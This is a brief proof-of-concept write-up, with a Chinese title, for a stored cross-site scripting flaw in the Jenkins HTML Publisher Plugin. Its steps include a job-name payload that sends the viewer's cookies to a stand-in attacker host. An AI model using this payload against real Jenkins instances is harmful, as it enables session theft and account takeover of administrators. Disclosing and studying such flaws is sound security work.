CVE-2026-42524 Jenkins HTML Publisher Plugin 存储型XSS漏洞

/* * PoC for CVE-2026-42524: Stored XSS in Jenkins HTML Publisher Plugin * Prerequisite: Attacker needs 'Item/Configure' permission on a Jenkins job. */ // Step 1: Configure a Jenkins job (or rename existing one) // Set the Job Name to a malicious payload containing XSS. // Example Job Name: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" // Step 2: Configure the HTML Publisher Plugin to publish reports for this job. // Ensure the "Report Title" or other fields utilize the job name if necessary, // though the vulnerability specifically mentions escaping issues in the legacy wrapper file // related to job name/URL. // Step 3: Trigger a build to generate the report. // Step 4: An administrator or other user views the published HTML report. // The malicious script in the job name will execute in the victim's browser context.